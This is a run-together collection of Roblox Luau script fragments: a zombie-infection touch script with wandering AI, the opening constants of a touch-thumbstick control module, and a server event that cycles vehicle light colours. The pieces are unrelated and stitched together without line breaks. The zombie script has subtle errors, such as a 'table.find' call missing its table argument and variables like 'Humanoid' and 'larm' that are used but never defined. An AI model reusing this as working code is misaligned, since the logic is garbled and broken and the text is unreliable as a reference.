owner=script.Parent.Parent.Name local cantouch function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h and h.Name~="Zombie" and h.Parent:findFirstChild("Torso") then h.Name="Zombie" if not game.Players:GetPlayerFromCharacter(h.Parent) then h.Parent.Name="Zombie" end if h.Parent.Name~=owner then if h.Parent:findFirstChild("zarm")~=nil then return end cantouch=0 local larm=h.Parent:findFirstChild("Left Arm") local rarm=h.Parent:findFirstChild("Right Arm") if larm~=nil then larm:remove() end if rarm~=nil then rarm:remove() end local zee=Instance.new("Part", workspace) zee.Size=Vector3.new(1,2,1) zee.Color=Color3.fromRGB(161, 196, 140) zee.TopSurface=Enum.SurfaceType.Smooth zee.BottomSurface=Enum.SurfaceType.Smooth zee.Name="Left Arm" if zee~=nil then local zlarm=zee local zrarm=zee:clone() zrarm.Name="Right Arm" if zlarm~=nil then local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)*CFrame.Angles(1.6,0,1.5) zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot zlarm.Parent=h.Parent zrarm.Parent=h.Parent local Ef=Instance.new("WeldConstraint", zrarm) Ef.Enabled=false Ef.Part0=zrarm Ef.Part1=h.Parent.Torso Ef.Enabled=true Ef=Instance.new("WeldConstraint", zlarm) Ef.Enabled=false Ef.Part0=zlarm Ef.Part1=h.Parent.Torso Ef.Enabled=true Ef=nil zlarm.Anchored=false zrarm.Anchored=false for i,v in pairs(h.Parent:GetDescendants()) do if v:IsA("Script") then v.Disabled=true v:Destroy() elseif v:IsA("Tool") or v:IsA("BodyPosition") or v:IsA("BodyGyro") then v:Destroy() end local ZombieAI=script:Clone() ZombieAI.Disabled=true ZombieAI.Parent=h.Parent delay(0.2, function() ZombieAI.Disabled=false end) end wait(0.1) h.Parent.Head.Color=zee.Color else return end end wait(1) cantouch=1 end end end end do -- Set Arms -- do local c=script.Parent:GetChildren() for i=1,#c do if c[i].Name:lower():find("arm") then c[i].Touched:Connect(onTouched) end end end f=script.Parent.ChildAdded:Connect(function(v) if v.Name:lower():find("arm") then v.Touched:Connect(onTouched) end end) task.delay(1,function() if f then f:Disconnect() end end) end if not Player then if script.Parent.Config:WaitForChild("AntiExploit").Value==true then script.Parent:FindFirstChildOfClass("Part"):SetNetworkOwner(nil) end Sight=script.Parent.Config:WaitForChild("Sight") garbage={} do local stuff={} garbage.add=function(...) local stuf:any={...} for i=1,#stuf do table.insert(stuff,stuf[i]) end table.clear(stuf) stuf=nil end garbage.nuke=function() for i=1,#stuff do local v=stuff[i] if typeof(v)=="RBXScriptConnection" then v:Disconnect() stuff[i]=nil elseif typeof(v)=="Instance" then pcall(game.Destroy,v) stuff[i]=nil elseif typeof(v)=="thread" then pcall(coroutine.yield,v) task.delay(5,function() pcall(coroutine.close,v) stuff[i]=nil end) elseif typeof(v)=="function" then v() stuff[i]=nil end v=nil end end end -- Better Model-list, Capable of finding ALL humanoid-models and removes them from memory on remove -- Greatly improved. local list do -- Creates a new Scope for the Humanoid List, to not clutter the global space. list={} local function parse_instance(inst) -- Parses an Instance to be set in the model. if inst:IsA("Humanoid") then -- Only goes through if it's a Humanoid. local model=inst.Parent -- Grabs the model. if model~=workspace then -- Assures it isnt grabbing the workspace. table.insert(list,model) -- Inserts it into the list. local Connector -- Predefines Connector so it can be Disconnected. Connector=model.AncestryChanged:Connect(function() -- Created a Connection on AncestryChanged, so if the Humanoids ancestry is removed from Workspace, it nolonger see's them. if not model:IsDescendantOf(workspace) then -- Checks if not descendant of workspace. table.remove(list,table.find(model)) -- Removes the model from the list model,inst=nil,nil -- Clears all memory out, allowing garbage collection. Connector:Disconnect() -- Disconnects connector forever. Connector=nil; -- Finally removes Connector. end end) end end end do local a=workspace:GetDescendants() -- Gets all workspace descendants for i=1,#a do -- Uses a Numeric loop, since it's fastest. parse_instance(a[i]) end table.clear(a) a=nil end garbage.add(function() list=nil end,workspace.DescendantAdded:Connect(parse_instance)) --[[ Unlike most methods of obtaining humanoids, this can safely obtain ALL humanoids without significant lag, most other methods involve looping through all workspace children, or descendants! This only loops once on startup, and relies on DescendantAdded thus resulting in less calls and if-statements. --]] end --//Functions\\-- function FindNearestHumanoid() -- Circles through the "List" shown just above the function. local Closest=nil local ClosestBP=nil for i,v in pairs(list) do if v.Name=="Zombie" then --Removes players and zombies from list entirely. table.remove(list,i) end local PHumanoid = v:FindFirstChildOfClass("Humanoid") if PHumanoid and PHumanoid.Name~=Humanoid.Name then if not Closest or not ClosestBP then Closest=v ClosestBP=v:FindFirstChildOfClass("Part") elseif Closest and ClosestBP then local MaybeClosestsBP=v:FindFirstChildOfClass("Part") if MaybeClosestsBP and MaybeClosestsBP:IsA("BasePart") then if (ClosestBP.Position-larm.Position).Magnitude>(MaybeClosestsBP.Position-larm.Position).Magnitude then Closest=v ClosestBP=v:FindFirstChildOfClass("Part") end end end end end return Closest,ClosestBP end --//Alive\\-- Alive=true garbage.add(Humanoid.Died:Connect(function() Alive=false end),Humanoid.AncestryChanged:Connect(function() if not Humanoid:IsDescendantOf(workspace) then Alive=false end end),script.Parent.ChildRemoved:Connect(function(E) if E==larm then larm=script.Parent:FindFirstChildOfClass("Part") if not larm and Humanoid then Humanoid.Health=0 Alive=false else script.Parent:Destroy() end end end)) while Alive do if larm then local Model,Part=FindNearestHumanoid() if Model and Part and (Part.Position-larm.Position).Magnitude<Sight.Value then Humanoid:MoveTo(Part.Position,Part) else Humanoid:MoveTo(larm.Position+Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))) end end task.wait(math.random(1,10)) end do local c=script.Parent:GetChildren() for i=1,#c do if c[i]~=script then c[i]:Destroy() end end end wait(5) script.Parent:Destroy() end
--!nonstrict --[[ Constants ]]
-- local ZERO_VECTOR3 = Vector3.new(0,0,0) local TOUCH_CONTROLS_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png" local DYNAMIC_THUMBSTICK_ACTION_NAME = "DynamicThumbstickAction" local DYNAMIC_THUMBSTICK_ACTION_PRIORITY = Enum.ContextActionPriority.High.Value local MIDDLE_TRANSPARENCIES = { 1 - 0.89, 1 - 0.70, 1 - 0.60, 1 - 0.50, 1 - 0.40, 1 - 0.30, 1 - 0.25 } local NUM_MIDDLE_IMAGES = #MIDDLE_TRANSPARENCIES local FADE_IN_OUT_BACKGROUND = true local FADE_IN_OUT_MAX_ALPHA = 0.35 local SAFE_AREA_INSET_MAX = 100 local FADE_IN_OUT_HALF_DURATION_DEFAULT = 0.3 local FADE_IN_OUT_BALANCE_DEFAULT = 0.5 local ThumbstickFadeTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local Players = game:GetService("Players") local GuiService = game:GetService("GuiService") local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService") local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") local FFlagUserDynamicThumbstickMoveOverButtons do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickMoveOverButtons2") end) FFlagUserDynamicThumbstickMoveOverButtons = success and result end local FFlagUserDynamicThumbstickSafeAreaUpdate do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickSafeAreaUpdate") end) FFlagUserDynamicThumbstickSafeAreaUpdate = success and result end local LocalPlayer = Players.LocalPlayer if not LocalPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() LocalPlayer = Players.LocalPlayer end
--LIGHTING FUNCTIONS
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n if lt == 0 then RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360) RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360) UpdateLt(1,white) UpdatePt(false,white) StopMt(pr) repeat wait() until lt~=0 elseif (lt == 1 or lt == 2) then wait(.375) local color if lt==1 then color=blue elseif lt==2 then color=red end RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360) RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360) UpdateLt(.25,color) UpdatePt(true,color) UpdateMt(0,math.rad(225),4) wait(.75) repeat if lt==1 then color=blue elseif lt==2 then color=red end UpdateLt(.25,color) UpdatePt(true,color) UpdateMt(0,math.rad(135),0) wait(.5) if lt~=1 and lt~=2 then break end if lt==1 then color=blue elseif lt==2 then color=red end UpdateLt(.25,color) UpdatePt(true,color) UpdateMt(0,math.rad(225),0) wait(.5) until (lt~=1 and lt~= 2) elseif lt == 3 then wait(.5) UpdateLt(.25,red) UpdatePt(true,red) UpdateMt(0,9e9,1) repeat wait() until lt~=3 end end)